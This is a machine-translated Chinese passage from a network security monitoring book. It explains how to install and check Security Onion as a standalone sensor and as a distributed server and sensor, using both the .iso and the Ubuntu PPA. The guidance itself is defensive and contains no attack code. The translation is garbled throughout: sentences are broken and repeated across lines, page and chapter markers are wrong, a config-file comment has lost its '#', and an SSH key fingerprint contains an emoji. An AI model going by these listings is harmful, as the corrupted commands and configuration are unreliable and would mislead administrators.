网络安全监控实践指南-全-
网络安全监控实践指南(全)
原文:
zh.annas-archive.org/md5/d967804cc9f01c7006d23698cf144292译者:飞龙
是的,跳过网络配置!,如图 3-16 所示\。
图 3-16:跳过网络配置
为了简化第一次示例的设置,选择快速设置选项,
如图 3-17 所示。这样服务器将作为一个独立
独立系统,配置最小。
图 3-17:选择快速设置
你需要告诉 SO 一些组件的接口
监控。如图 3-18 所示,我告诉 SO 我希望 Snort 在 eth1 上嗅探流量
在 eth1 上。 (作为快速设置的一部分,SO 选择使用 Snort 网络 IDS
用于生成警报数据。)
现在提供一个用户名,用于访问 NSM 软件组件
Sguil(在第八章中讨论),如图 3-19 所示。SO 将使用此
多个 NSM 工具的用户名。
68 第三章




图 3-18:告诉 SO 使用 Snort
图 3-19:输入 Sguil 用户名
应嗅探
在下一个屏幕上,输入一个供 SO 用于日志记录的电子邮件地址
进入 Snorby NSM 控制台并验证用户。(SO 不会使用
此电子邮件地址不会向你发送垃圾邮件!事实上,SO 项目并不
以任何方式跟踪用户。)Snorby(也在第八章中讨论)是一个用于预先
向分析师呈现 NSM 数据,它使用单独的身份验证机制
基于电子邮件地址的身份验证。
现在你将选择一个字母数字密码,用于验证
运行 SO 的 NSM 软件, 如图 3-20 所示。(你可以
稍后通过 Sguil 和 Snorby 界面更改此密码。)
图 3-20:为 SO NSM 应用输入密码
在你为 SO NSM 应用创建凭证后,配置
脚本会询问你是否要安装企业日志搜索与
存档(ELSA)软件,如图 3-21 所示。选择 是的,启用
ELSA! 除非你使用的是硬件资源非常有限的系统。ELSA
提供一个搜索引擎接口,用于 NSM 日志数据。
图 3-21:选择启用 ELSA
独立 NSM 部署与安装 69



SO 现在应该总结它即将进行的更改。如果你喜欢
结果,选择 是的,继续更改!,如图 3-22 所示\。
图 3-22:SO 已准备好继续更改。
接下来,SO 配置系统的时区为 UTC,然后设置
完成时,它应该会启动所有与之捆绑的 NSM 应用。
报告一些有关系统的有用信息。你可以在 /var/log/nsm/sosetup.log 文件中检查设置状态,如图 3-23 所示\。
安装状态
最后,你将看到有关 IDS 规则管理的信息,如下所示
图 3-24\。
图 3-23:SO 设置已完成。
图 3-24:关于 IDS 规则的说明
管理
检查你的安装
完成独立系统安装后,你应该进行一些
执行一些步骤,确保其按预期运行。
70 第三章
首先,打开终端并运行以下命令以查看所有 NSM 代理是否正常运行。记得通过执行
桌面上的终端应用程序。
$ sudo service nsm status
[sudo] 输入 sademo 的密码:
状态:securityonion
- sguil server [ OK ]
状态:HIDS
- ossec_agent (sguil) [ OK ]
状态:Bro
名称 类型 主机 状态 Pid 对等节点 启动时间
bro 独立本地主机正在运行 5813 0 10 月 11 日 11:10:32
状态:sademo-eth1
-
netsniff-ng (完整数据包) [ OK ]
-
pcap_agent (sguil) [ OK ]
-
snort_agent-1 (sguil) [ OK ]
-
snort-1 (警报数据) [ OK ]
-
barnyard2-1 (spooler,unified2 格式) [ OK ]
-
prads (会话/资产) [ OK ]
-
sancp_agent (sguil) [ OK ]
-
pads_agent (sguil) [ OK ]
-
argus [ OK ]
-
http_agent (sguil) [ OK ]
现在,在同一窗口中运行以下命令生成
活动将触发 Snort 警报。我假设你的传感器能够看到
到独立系统管理端口的流量。如果没有,请运行
这个命令来自一个由新传感器监控的系统,或者访问 URL
在由新传感器监控的系统上使用 Web 浏览器。
$ curl www.testmyids.com
uid=0(root) gid=0(root) groups=0(root)
为了确定你的 NSM 设置是否部分正常工作,访问
使用 Web 浏览器访问 Snorby NSM 应用程序。将 Web 浏览器指向
你之前分配给独立传感器的 IP 地址。你将看到
收到一个错误,表示 HTTPS 证书不被信任,因为
它没有签名,如图 3-25 所示。除非你怀疑有中间人攻击,
普通用户正在对你进行中间人攻击时,如果确认安全,可以
选择继续执行或等效选项。(如果你稍后选择部署
如果浏览器信任该证书,你将不会看到这些警告。
现在你将看到 SO 欢迎页面,如图 3-26 所示,内容如下:
访问 SO 应用程序的链接通过 SO 上运行的 Web 服务器可用
系统。点击 Snorby 链接以确定是否捕获到数据触发的
通过访问http://www.testmyids.com/。
独立 NSM 部署和安装 71


图 3-25:证书警告
图 3-26:SO 欢迎页面
点击 Snorby 链接应打开 SO 系统的一个新标签页或窗口。
IP 地址和端口 444。Snorby 应该会要求输入电子邮件地址和密码
你在设置时选择的单词,如图 3-27 所示。输入这些信息并点击
欢迎,登录。
72 第三章


图 3-27:Snorby 登录界面
根据你部署传感器的位置和网络上活跃的
网络上活跃的流量,你将看到不同量的信息
初始仪表板上的信息。我们希望看到两个特定的
屏幕右侧的警报:要么是 ET Policy curl User-Agent,要么是 GPL
ATTACK_RESPONSE id ch。如果你看到其中任何一个或两个(如图 3-28 所示),
你的传感器正在看到流量,并且至少有一个 NSM 应用程序(在此案例中,
Snort)观察并正确报告了它。
图 3-28:Snorby 仪表板确认独立传感器操作。
独立 NSM 部署和安装 73
结论
在本章中,我们创建了一个独立的 SO 平台。我们启动了 SO
.iso文件并将 Xubuntu Linux 发行版安装到硬盘上。接下来,我们更新了操作系统,并开始了安装过程
SO 软件。我们从配置网络接口开始,选择
一个用于系统管理,另一个用于数据收集或嗅探。
在准备好网络接口后,我们转向配置多种
通过一个有用的向导过程来安装 SO 工具。一旦所有软件安装完成
并配置完毕后,我们查看了 Snorby 控制台,确保它至少能够看到
从网络中获取一些数据。
在第四章中,我们将从独立平台的世界向前推进
进入一个由分布式系统主导的世界。独立平台在
用于隔离部署,但 NSM 模型的某些功能在此显现
仅当分析师能够从多个角度与数据交互时,才会有效。
独立平台有时可以监视多个网络段
当监控段物理接近时表现良好。
如果系统地理位置分散,分布式部署能够最有效地统一
NSM 数据的收集和展示。第四章将展示如何使
使其成为现实。
74 第三章
4
分 布 式 部 署
第三章讨论了构建 NSM 平台
基于开源 SO 项目,专注于
如何将 SO 安装为独立平台。
单系统解决方案是一个很好的起点
对于 NSM 世界的新手来说,这是一个很好的起点,但大多数组织
许多组织有多个网络需要管理,
监视。根据你在第二章和第三章中学到的内容,你可能已经识别出
在你的环境中需要多个传感器协同工作的位置
提供多站点可视性。幸运的是,正如前面所述
本章,SO 支持分布式部署模型(服务器加传感器
平台)以适应这些需求。
除了涵盖分布式 SO 部署,本章还
解释了如何使用 SO 个人包存档(PPA)来构建 SO 平台
而不使用 SO .iso镜像。使用项目的官方.iso文件安装 SO 可能是开始的最简单方法,但有些组织更倾向于从自己版本的 Ubuntu Linux 开始。SO 项目的
PPA 允许管理员在基于 Ubuntu Linux 的系统上安装 SO 包。您可以安装自己的 Ubuntu Linux 版本,添加 SO PPA,
然后享受完整的 SO 功能。
我们将开始构建一个分布式的 SO 配置。
使用 SO .iso 镜像安装 SO 服务器
如果您按照第三章中的指示操作,现在您已经拥有了一个独立的
SO 平台收集并解析网络流量。更具挑战性的是
一些情况需要服务器加传感器的部署。
如第三章所述,在服务器加传感器配置中,一个
或更多传感器收集 NSM 数据,服务器充当中央“大脑”
用于操作以及某些类型的 NSM 数据的聚合和存储点
类型的 NSM 数据。此部分描述如何安装 SO 服务器。安装后
设置服务器时,我们将安装一个与服务器协作的传感器
收集和展示 NSM 数据。
SO 服务器注意事项
在考虑 SO 服务器时,请记住,服务器将是中央
中央收集和存储点,用于某些类型的 NSM 数据。保持
请牢记以下事项:
• 一个 SO 服务器 操作一个中央 MySQL 数据库,所有 SO 传感器都连接到它
传输会话数据。会话数据的汇总是考虑
考虑 SO 服务器的内存和硬盘需求。
• 一个 SO 传感器 存储网络流量作为 pcap 文件。SO 传感器存储
将这些数据本地存储,直到它被复制到 SO 服务器上。这个本地存储的数据
数据是考虑硬盘需求时的关键因素
SO 传感器。
您还需要了解哪些数据存储在哪里,并知道如何
很多传感器可能会将数据提供给服务器。您需要
以下内容:
• 在 RAID 配置中有大量硬盘空间,您将使用这些空间来
存储会话和相关的 NSM 数据
• 至少 4GB 的 RAM,且需要更多的 RAM 以满足 MySQL 的需求
• 一个多核 CPU
• 至少需要一个网络接口用于管理目的
由于服务器未连接到网络 Tap 或 SPAN 端口,您
可以将其视为传统的服务器系统。像 SO 传感器这样的客户端
或 CIRT 分析员将连接到 SO 服务器以访问数据。连接到服务器的客户端数量
访问服务器的客户端数量以及您希望存储的集中数据量
可用的硬盘空间和内存是设计 SO 服务器时需要考虑的主要因素
服务器。
第七十六章

注意
一些 CIRT 选择将其中央服务器的功能分离。例如,他们 运行与中央服务器协作的独立数据库系统。SO 默认不 支持这种配置。因此,我们将在此讨论中省略这种配置。这里描述的配置在 许多 CIRT 的生产环境中表现良好。
构建您的 SO 服务器
要构建您的服务器,启动 SO .iso 镜像,选择 Live,然后等待直到您看到 SO 桌面。通过点击安装开始安装过程。
安全洋葱 12.04 图标。按照配置过程中的说明操作
“安装 SO 到硬盘”在第 62 页 总结来说,您将执行以下步骤,和上一章相似:
1. 验证空间、连接、更新和第三方软件。
2. 选择擦除磁盘以安装 SO。
3. 选择用户名、计算机名和密码。
4. 完成安装并重启系统。
5. 使用sudo apt-get update && sudo apt-get更新已安装的软件
dist-upgrade。
完成此过程后,SO 软件应已安装在
服务器已安装,但尚未配置用于 NSM 的任务。此时
我们将系统转换为一个实时 SO 服务器。
第一个任务是手动为系统分配一个静态 IP 地址。
按照以下步骤操作:
1. 点击屏幕左上角的蓝白色鼠标图标,
选择设置,然后选择网络连接,如图所示
图 4-1\。
图 4-1:选择查看网络连接的设置
分布式部署 77

2. 高亮有线连接 1,然后点击编辑。点击IPv4
设置选项卡中,然后将方法更改为手动。输入值
通过点击添加,然后输入适合您服务器的
输入所需的信息,如图 4-2 所示。(这些值代表
为我的示例网络选择合适的选项;确保使用与
与您的环境匹配。)
图 4-2:配置有线连接 1 的
静态 IP 地址配置
3. 完成后,点击保存。对话框在过程中会变灰,直到
系统重新配置网络。
4. 点击关闭以完成此过程。
5. 重启系统。
此时,服务器正在运行正确的操作系统,
更新的组件,并可以通过静态管理 IP 地址访问。
配置您的 SO 服务器
现在我们可以开始将系统配置为 SO 服务器。为此,请按照以下步骤操作:
以下步骤:
1. 点击设置图标并输入您的密码以执行管理
选择性任务。在提示时选择是,继续!。
2. 当询问是否要配置接口时,选择否,暂时不配置。
3. 在提示时选择高级设置。
78 第四章


4. 下一屏幕会询问您想要构建什么样的系统。选择服务器,如图 4-3 所示,然后点击确定。
图 4-3:选择构建服务器
5. 现在选择运行 Snort 或 Suricata IDS 引擎。选择
选择您计划在传感器上运行的 IDS 引擎,然后点击确定。
6. 当提示选择一个 IDS 规则集时,选择Emerging Threats GPL,
如图 4-4 所示。(Emerging Threats 规则集是免费的,并且
适合我们用途的配置。)
图 4-4:选择 Emerging Threats GPL 规则集
7. 安装向导会询问 Sguil 用户名、Snorby 电子邮件地址和
密码。根据您的环境输入适当的回答。当
被问到是否要启用 ELSA 时,选择是,启用 ELSA!。安装向导
向导会总结您的选择,并询问是否准备好继续。
如图 4-5 所示。
分布式部署 79

图 4-5:继续进行 SO 服务器更改前的设置总结
8. 点击是,继续进行更改!,设置向导将完成。
完成 SO 服务器的安装。脚本应该报告安装是否成功。
安装完成。
9. 为确认安装成功,访问托管在网页上的
服务器,然后访问一个支持网页的 NSM 应用程序,例如 Snorby。
此时,您只有一个活动的 SO 服务器。它尚未运行任何
收集和解读 NSM 数据的工具。Snorby 控制台将为空
直到您按照下文所述构建一个 SO 传感器。
使用 SO .iso 镜像安装 SO 传感器
我们的 SO 服务器没有一个或多个传感器来收集数据时,意义不大。
收集和解读 NSM 数据。在本节中,我们将使用
SO .iso文件。对于硬件,选择与您所使用的设备相同类型。
在独立模式下运行。
要构建传感器,请启动.iso镜像,选择Live,并等待直到看到 SO 桌面。点击
安装 Security Onion 12.04 图标,然后按照配置向导进行操作。
过程已在《安装 SO 到硬盘》中解释。
总结:您将执行以下步骤:
1. 验证空间、连接性、更新和第三方软件。
2. 选择擦除磁盘以安装 SO。
3. 选择用户名、计算机名和密码。
4. 完成安装并重启系统。
5. 使用sudo apt-get update && sudo apt-get更新已安装的软件
dist-upgrade。
80 第四章

完成此过程后,SO 软件应该已安装在
传感器已安装,但尚未配置 NSM 任务。下一节中,
我们将在 SO 设置向导中选择静态 IP 地址,因为这是
这是 SO 传感器更大网络配置过程的一部分。我们
准备将系统转变为实时 SO 传感器,并让它与
与我们刚刚创建的 SO 服务器进行连接。
配置 SO 传感器
要将系统配置为 SO 传感器,请按照以下步骤操作:
1. 点击设置图标并输入您的密码以执行管理员任务。
执行管理员任务时,选择是,继续!
2. 当提示时,选择eth0作为管理接口(或选择任何
配置静态 IP 地址。
选择eth1进行嗅探(或选择任何您希望使用的接口)
用于收集和解读流量数据)。
3. 通过选择是,进行更改并重启!来接受您的选择。
当系统重启时,它将准备好作为 SO 传感器进行配置
传感器。要配置传感器,请按照以下步骤操作:
1. 点击设置图标并输入密码以执行管理任务
执行管理任务。当提示时,选择是,继续!
2. 设置脚本应该注意到您已经配置了网络
接口,因此选择是,跳过网络配置!。
3. 选择传感器,如图 4-6 所示\。
图 4-6:选择构建传感器
4. 作为 SO 传感器,本系统将与我们的 SO 服务器协作。根据
设置向导应该提示您输入 SO 服务器的主机名或 IP 地址
如图 4-7 所示。正如您所见,我输入了
192.168.2.129,这是我之前为 SO 服务器静态分配的地址。输入
SO 服务器的 IP 地址。
分布式部署81



图 4-7:为 SO 传感器设置向导提供 IP 地址
SO 服务器的
5. 设置向导将询问 SO 传感器进程的用户名
用于通过 OpenSSH 连接的用户名。SO 使用 OpenSSH 进行通信
服务器与一个或多个传感器之间的通信。您选择的用户名
在构建 SO 服务器时选择的用户名对于演示目的足够了,但
在生产环境中,您应在服务器上创建一个新用户
为每个您期望报告的传感器设置。单独的用户将限制您的
如果任何单个传感器被攻击,将会暴露系统。 我输入svrdemiso作为
用户账户,如图 4-8 所示。使用适合的值
您的设置。
图 4-8:配置用户名以连接到 SO 服务器
6. 设置向导会询问要监视的接口,如图中所示
独立设置。我选择eth1,然后选择启用ELSA并
自动更新 ELSA 服务器(这有助于 ELSA 服务器)
让 SO 服务器知道有一个新节点正在检查并传送数据,如图所示
如图 4-9 所示\。
图 4-9:告诉设置脚本更新 ELSA 服务器
7. 现在是提交这些更改的时候了。设置脚本总结了
如果您对输出结果满意,请点击是,继续进行
更改!,如图 4-10 所示\。
82 第四章


图 4-10:继续进行 SO 传感器之前的 SO 概览
更改
完成设置
如前所述,分布式 SO 部署依赖于 OpenSSH 进行通信。
通信。在设置过程中,OpenSSH 客户端可能会报告它无法
验证 SO 服务器的真实性。它可能会显示 ECDSA 密钥
SO 服务器的指纹,并询问是否继续连接。
本地登录到 SO 服务器并运行以下命令以
获取 ECDSA 密钥的指纹。(你的密钥与输出的内容会不同)
在列表 4-1 中的命令。)
$ ls /etc/ssh/key
/etc/ssh/ssh_host_dsa_key /etc/ssh/ssh_host_ecdsa_key.pub
/etc/ssh/ssh_host_dsa_key.pub /etc/ssh/ssh_host_rsa_key
/etc/ssh/ssh_host_ecdsa_key /etc/ssh/ssh_host_rsa_key.pub
$ ssh-keygen -lf /etc/ssh/ssh_host_ecdsa_key.pub
256 33:6c:38:9a:48:ce:fc:b2:c2:26:57:c3:81:a7:9d:b9 root@svrdemiso (ECDSA)
列表 4-1:检查 SSH 密钥
验证你看到的密钥指纹是否与 SO 中的密钥匹配
服务器,然后输入yes并按回车,如图 4-11 所示。
图 4-11:验证 OpenSSH ECDSA 密钥指纹
几条更多的配置消息会通过,接着会出现另一个终端
终端会出现,提示你输入密码以登录 SO
服务器。正确输入密码后,安装向导会
报告显示它已完成。
分布式部署 83
验证传感器是否正常工作
现在通过 sudo service nsm status 验证传感器是否正常运行
命令。如果你看到像列表 4-2 中那样的输出,一切可能正常
正常工作:
$ sudo service nsm status
状态:HIDS
- ossec_agent (sguil) [ OK ]
状态:Bro
名称 类型 主机 状态 进程号 对等 启动时间
管理员 管理员 192.168.2.130 正在运行 2501 2 10 2 月 17:17:26
代理代理 192.168.2.130 正在运行 2659 2 10 2 月 17:17:28
sendemiso-eth1-1 工作站 192.168.2.130 正在运行 3275 2 10 2 月 17:17:31
状态:sendemiso-eth1
-
netsniff-ng (完整数据包数据) [ OK ]
-
pcap_agent (sguil) [ OK ]
-
snort_agent (sguil) [ OK ]
-
suricata (警报数据) [ OK ]
-
barnyard2 (排队器,统一 2 格式) [ OK ]
-
prads (会话/资产) [ OK ]
-
sancp_agent (sguil) [ OK ]
-
pads_agent (sguil) [ OK ]
-
argus [ OK ]
-
http_agent (sguil) [ OK ]
列表 4-2:检查 NSM 服务状态
验证 Autossh 隧道是否正常工作
如果你注意到一个或多个 NSM 组件没有正常工作,尝试运行
sudo service nsm restart 命令停止并启动每个应用程序。如果
如果每个组件没有按预期工作,你可能遇到了
更严重的问题。你可能需要重新启动你的设置,或者咨询
在线 SO 邮件列表寻求帮助。你还应该验证 autossh
连接传感器到服务器的隧道是正常工作的。使用以下
按照列表 4-3 中所示的命令继续执行。
$ ps aux | grep autoss[h]
root 9775 0.0 0.0 4308 324 ? Ss 17:01 0:00 /usr/lib/
autossh/autossh -M 0 -q -N -o ServerAliveInterval 60 -o ServerAliveCountMax
3 -i /root/.ssh/securityonion -L 3306:127.0.0.1:3306 -R 50000:localhost:50000
-R 50001:localhost:9306 svrdemiso@192.168.2.129
列表 4-3:查找 autossh 进程
你可以使用 pgrep -lf autossh 获取类似的结果。如果输出为空,则说明你没有建立 autossh 隧道。尝试重新运行 SO 安装脚本。
你可以通过访问 http://www.testmyids.com/ 来进行测试。如果你看到结果
在 Snorby 应用程序中,您的 SO 传感器正在将事件传递到您的
SO 服务器。恭喜您—您已构建了一个分布式 NSM 系统!
84 第四章
使用 PPA 构建 SO 服务器
上述安装使用了 SO 项目提供的 SO .iso 文件,
但这不是唯一的安装选项。您还可以使用 SO 功能
在本地安装的基于 Ubuntu Linux 的操作系统上构建
SO 项目的 PPA,网址为 https://launchpad.net/~securityonion/。
一些组织倾向于避免使用其他人构建的 Linux 发行版
团队。如果您的组织遵循这种模式并使用自己的 Ubuntu
基于 Linux 的基础安装,您可以使用 SO PPA 将 SO 部署到您的
平台。
SO 项目构建了稳定、测试和开发 PPA。您应该
在生产环境中使用稳定版本。如果您想帮助保持 SO 的发展
向前运行,使用测试 PPA。开发 PPA 最适合用于 SO
开发人员。
在本章的剩余部分,我们将构建一个全新的服务器加
仅为演示替代方案而部署传感器
设置选项。我们将使用 SO 项目提供的 .iso 镜像
使用 64 位的 Ubuntu Server 12.04 LTS 版本作为
用作 SO 服务器和传感器的基础操作系统。
您可以从 Ubuntu 下载此发行版的 .iso 文件
项目网站地址 http://www.ubuntu.com/download/server/。访问时
在该页面上,您将看到一个获取 Ubuntu 12.04 LTS 选项,该选项将可用
直到 2017 年 4 月。选择此发行版是因为 SO 项目
针对 LTS 进行测试,无法保证对其他变体的支持。
这是一个您的组织可能会使用的流行选项,感谢
该版本的扩展可用性。
注意
使用 PPA 构建自己的系统需要比使用 SO .iso 安装方法更多的 Linux 知识。例如,您需要知道 如何转发 X 会话。(我将展示如何完成此任务,以及其他 Linux
步骤,在本章稍后部分。如果您对这个过程不熟悉,或者不理解其含义,请向一位有 Linux 经验的朋友请教,或者按照前面描述的方式从 .iso 文件安装 SO。
将 Ubuntu Server 安装为 SO 服务器操作系统
通过启动 Ubuntu 服务器安装过程开始安装 Ubuntu 服务器
在选定硬件上安装 LTS .iso 镜像,以运行 SO 服务器。安装
向导将提示您做出若干选择。请做出以下选择
根据您的环境,调整相应的选择。
1. 语言:英语
2. 安装 Ubuntu Server
3. 选择语言:英语
4. 选择您的位置:美国
分布式部署 85
5. 配置键盘:
• 检测键盘布局?否
• 英语(美国)
• 键盘布局:英语(美国)
6. 主机名:serverdemo
7. 设置用户和密码:
• 新用户的全名:serverdemo
• 您账户的用户名:serverdemo
• 为新用户选择一个密码:<输入密码>
• 重新输入密码进行验证:<输入密码>
• 是否加密您的主目录?否
8. 配置时钟。这个时区正确吗?是
9. 分区磁盘:
• 分区方法:引导 – 使用整个磁盘并设置 LVM
• 选择要分区的磁盘:<选择您的磁盘>
• 将更改写入磁盘并配置 LVM?是
• 用于引导分区的卷组大小:<接受>
default>,继续
• 将更改写入磁盘?是
10. 配置软件包管理器。HTTP 代理信息(空白为
无:<空白>,继续
11. 配置 tasksel。您希望如何管理此系统的升级?
无自动更新。
12. 软件选择。选择要安装的软件:<点击空格键选择>
OpenSSH 服务器>,继续
13. 将 GRUB 引导加载程序安装到硬盘上。安装 GRUB 引导
将引导加载程序安装到主引导记录中?是
14. 完成安装。继续
安装完成后,系统将重启。重新登录时,
您应该看到通过 DHCP 分配的 IP 地址,以及关于
可以应用的更新数量,如图 4-12 所示\。
在某些情况下,Ubuntu 可能不会显示 IP 地址或其他系统
信息。在这些情况下,登录脚本会确定系统的状态。
在负载下,它会报告这种情况。对于一些系统来说,这是正常现象,
启动大量的输入/输出 (I/O) 敏感操作后
启动中。
86 第四章

图 4-12:Ubuntu 服务器已安装。
选择静态 IP 地址
我们安装了操作系统并允许动态 IP 地址,
但现在我们想将 DHCP 转换为静态 IP 地址。在此
例如,我们将编辑一个特定的配置文件,这也是配置的一种方式。
设置静态 IP 地址。(我之前已经展示了如何设置静态 IP 地址)
使用 GUI 菜单进行配置。)首先,使用 vi 编辑器打开 /etc/network/interfaces 文件进行编辑,如下所示(提示时输入您的密码):
$ sudo vi /etc/network/interfaces
该文件应包含如列 4-4 所示的条目。
第一章:该文件描述了您系统上可用的网络接口
以及如何激活它们。更多信息,请参阅 interfaces(5)。
回环网络接口
auto lo
iface lo inet loopback
主要网络接口
auto eth0
iface eth0 inet dhcp
列 4-4:默认的 /etc/network/interfaces 内容
分布式部署 87
使用井号 (#) 注释掉 eth0 部分中的条目,并
添加如列 4-5 所示的粗体条目,以匹配您的设置。
(请向您的管理员询问最适合您的网络设置)
如果需要,请进行必要的工作。
主要网络接口
# auto eth0
# iface eth0 inet dhcp
auto eth0
iface eth0 inet static
address 192.168.2.128
netmask 255.255.255.0
network 192.168.2.0
broadcast 192.168.2.255
gateway 192.168.2.1
dns-search taosecurity.com
dns-nameservers 172.16.2.1
列表 4-5:编辑后的 /etc/network/interfaces 内容
最后,重新启动网络服务以启用静态 IP 地址。
使用列表 4-6 中显示的命令。
$ sudo /etc/init.d/networking restart
- 运行 /etc/init.d/networking restart 已不推荐使用,因为它可能无法
再次启用某些接口
- 正在重新配置网络接口...
ssh 停止/等待
ssh 正在启动/运行,进程 16814 [ OK ]
列表 4-6:重启网络服务以使用静态 IP 地址
现在重启系统,以终止分配 IP 地址的虚拟 dhclient 进程。
通过 DHCP 分配 IP 地址。重启后,您的系统应该有一个静态 IP。
地址。
为了确认您的静态 IP 地址已按预期配置,连接
通过 OpenSSH 连接到服务器的 IP 地址,以继续进行后续任务。
从另一台工作站,打开终端并执行 ssh *username*@ server
IP,其中 username 是您配置的用户名,server IP 是您为服务器申请的静态管理 IP 地址。
更新软件
接下来,更新您服务器上运行的软件。运行以下命令:
$ sudo apt-get update && sudo apt-get dist-upgrade
当被询问是否继续时,输入 Y 并按回车键。
服务器将下载并安装任何更新。完成后,输入
sudo reboot 完成过程并重启服务器。
88 第四章
开始在 SO 服务器上进行 MySQL 和 PPA 设置
重启后,登录。现在我们将开始配置我们的系统作为 SO
服务器。首先,执行以下命令,告诉 MySQL 不要提示输入
安装过程中需要输入 root 密码。
$ echo "debconf debconf/frontend select noninteractive" | sudo debconf-set-selections 现在安装 python-software-properties 包。
$ sudo apt-get -y install python-software-properties
接下来,将 securityonion/stable PPA 添加到识别的软件源列表中。
由此 Ubuntu 服务器组织,如列表 4-7 所示\。
$ sudo add-apt-repository -y ppa:securityonion/stable
gpg: 创建了密钥环 /tmp/tmpnOilj5/secring.gpg
gpg: 创建了密钥环 /tmp/tmpnOilj5/pubring.gpg
gpg: 从 hkp 服务器 keyserver.ubuntu.com 请求密钥 23F386C7
gpg: /tmp/tmpnOilj5/trustdb.gpg: 创建了信任数据库
gpg: 密钥 23F386C7:已导入公钥 "Launchpad PPA for Security Onion"
gpg: 处理总数:1
gpg: 导入了 1 个密钥 (RSA: 1)
OK
列表 4-7:将 securityonion/stable PPA 添加到软件源列表中
使用以下命令更新软件包列表。
$ sudo apt-get update
现在安装 securityonion-server 包。
$ sudo apt-get install securityonion-server
在列表 4-8 中可以看到,除了许多依赖项外,系统还
计划安装大量特定于 SO 的软件包。这在软件安装过程中是正常的
安装。
-- snip --
securityonion-capme securityonion-daq securityonion-et-rules
securityonion-limits securityonion-login-screen
securityonion-nsmnow-admin-scripts securityonion-ossec-rules
securityonion-passenger securityonion-passenger-conf
securityonion-pfring-daq securityonion-pfring-ld securityonion-pfring-module
securityonion-pfring-userland securityonion-pulledpork
securityonion-rule-update securityonion-server securityonion-setup
securityonion-sguil-agent-ossec securityonion-sguil-db-purge
securityonion-sguil-server securityonion-sguild-add-user
securityonion-snorby securityonion-snort securityonion-sostat
分布式部署 89
securityonion-squert securityonion-squert-cron securityonion-web-page securityonion-wkhtmltopdf shared-mime-info sound-theme-freedesktop sox
sqlite3 ssl-cert tcl-tls tcl8.5 tcllib tclx8.4 tcpflow tcpflow-no-tags
tshark ttf-dejavu-core ttf-liberation wireshark-common x11-common xplico
zenity zenity-common
0 个升级,安装 288 个新包,0 个待删除,0 个未升级。
需要下载 287 MB 的归档文件。
完成此操作后,将使用 643 MB 的额外磁盘空间。
你想继续吗 [Y/n]?
列表 4-8:安装 securityonion-server 软件包
输入 Y 并按回车键继续。你可能需要等待几分钟
需要几分钟时间,服务器将下载并安装所需的软件。
一旦完成,安装 securityonion-elsa 和 securityonion-elsa-extras
软件包。
$ sudo apt-get install securityonion-elsa securityonion-elsa-extras
通过 PPA 配置你的 SO 服务器
现在使用 sosetup 设置此服务器。通过 Linux 系统通过 SSH 连接
利用 X 转发功能。这里,我是从另一个
名为 ubuntu 的 Linux 系统。注意使用大写的 -X 选项来启用
X 转发。X 是一种用于显示图形用户界面的协议。为了
转发意味着将图形界面窗口发送到除本地计算机之外的地方
运行它的服务器。-X 选项告诉远程服务器显示客户端的窗口
通过 SSH 连接将窗口转发到本地桌面,使其显示在本地,
而不是远程系统。这允许你与那些客户端窗口进行交互
并根据需要配置软件。列表 4-9 解释了详细信息。
richard@ubuntu:~$ ssh -X serverdemo@192.168.2.128
主机 '192.168.2.128 (192.168.2.128)' 的真实性无法验证。
ECDSA 密钥指纹是 7f:a5:75:69:66:07:d9:1a:90:e5:42:1a:91:5a🆎65\。
你确定要继续连接吗(yes/no)? yes
警告:'192.168.2.128' (ECDSA) 已永久添加到已知主机列表中。
serverdemo@192.168.2.128 的密码:**********
欢迎使用 Ubuntu 12.04.2 LTS (GNU/Linux 3.2.0-37-generic x86_64)
系统信息:2014 年 2 月 10 日星期天 10:02:59 EST
系统负载:0.0 进程:94
使用情况 /: 35.20GB 的 7.2% 用户已登录:1
内存使用率:7% eth0 的 IP 地址:192.168.2.128
交换区使用率:0%
图形化显示这些数据并通过 https://landscape.canonical.com/ 管理此系统
90 第四章


上次登录:2014 年 2 月 10 日星期天 09:59:57
/usr/bin/xauth: 文件 /home/serverdemo/.Xauthority 不存在
serverdemo@serverdemo:~$ sudo sosetup
[sudo] 密码为 serverdemo: ***********
清单 4-9:连接到 SO 服务器并配置 X 转发
当你运行 sudo sosetup 时,你将在本地看到一个屏幕。
工作站,如图 4-13 所示。
图 4-13:准备运行 SO 设置
现在按之前配置 SO 服务器的方式配置这个 SO 服务器。
构建 SO 服务器,基于本章早些时候的 .iso 文件,在“配置
你的 SO 服务器” 第 78 页。做出选择后,设置向导将总结这些选择并询问你是否继续
如图 4-14 所示,应用更改。
图 4-14:在继续 SO 服务器更改之前的 SO 摘要
点击 是,继续更改! 后,设置向导将
完成安装。
如在“配置您的 SO 服务器”第 78 页所讨论,确认安装是否成功,访问托管在服务器上的网页并
访问支持 Web 的 NSM 应用程序,如 Snorby。
服务器激活后,接下来是构建传感器。
分布式部署 91

使用 PPas 构建 So 传感器
服务器运行后,我们可以开始使用 PPAs 构建 SO 传感器。
该传感器将与我们刚刚构建的服务器合作。我们将继续
以使用 Ubuntu 服务器发行版作为我们的操作系统为主题,
使用 PPAs 添加 SO 组件。
作为 SO 传感器操作系统安装 Ubuntu 服务器
通过启动 Ubuntu Server 开始安装过程
LTS .iso 文件将被安装到选择的硬件上,用于运行 SO 传感器。安装
向导将提示你做出一些选择。做出以下选择
选择项,根据你的环境适当调整:
1. 语言:英语
2. 安装 Ubuntu 服务器
3. 选择语言:英语
4. 选择你的位置:美国
5. 配置键盘:
• 检测键盘布局?否
• 英语(美国)
• 键盘布局:英语(美国)
6. 配置网络。主机名:sensordemo
当被提示选择一个主要的网络接口时(如图所示)
如图 4-15 所示,必须告知设置向导使用哪个 NIC 进行管理。
在图 4-15 中,我选择 eth0 作为管理的主要网络接口
设置向导应自动从一个 IP 地址中查找
eth0 的 DHCP 服务器。(我们将在运行 SO 设置脚本时设置静态 IP。)
图 4-15:选择主网络接口
现在按照以下步骤继续安装操作系统。
我输入的值,如用户名和密码,仅供演示使用。
选择符合生产需求的值。
92 第四章

1. 设置用户和密码:
• 新用户的全名:sensordemo
• 你的帐户的用户名:sensordemo
• 为新用户选择密码:
• 重新输入密码以验证:
• 加密你的主目录吗?否
2. 配置时钟。这个时区是否正确?是
3. 分区磁盘:
• 分区方式:引导—使用整个磁盘并设置 LVM
• 选择要分区的磁盘:
• 将更改写入磁盘并配置 LVM 吗?是
• 用于引导分区的卷组大小:<accept
默认>,继续
• 将更改写入磁盘吗?是
4. 配置软件包管理器。HTTP 代理信息(留空表示不设置)
无(空白):
5. 配置 tasksel。你希望如何管理此系统上的升级?
系统?不自动更新。
6. 软件选择。选择要安装的软件:<click spacebar on
OpenSSH 服务器>,继续
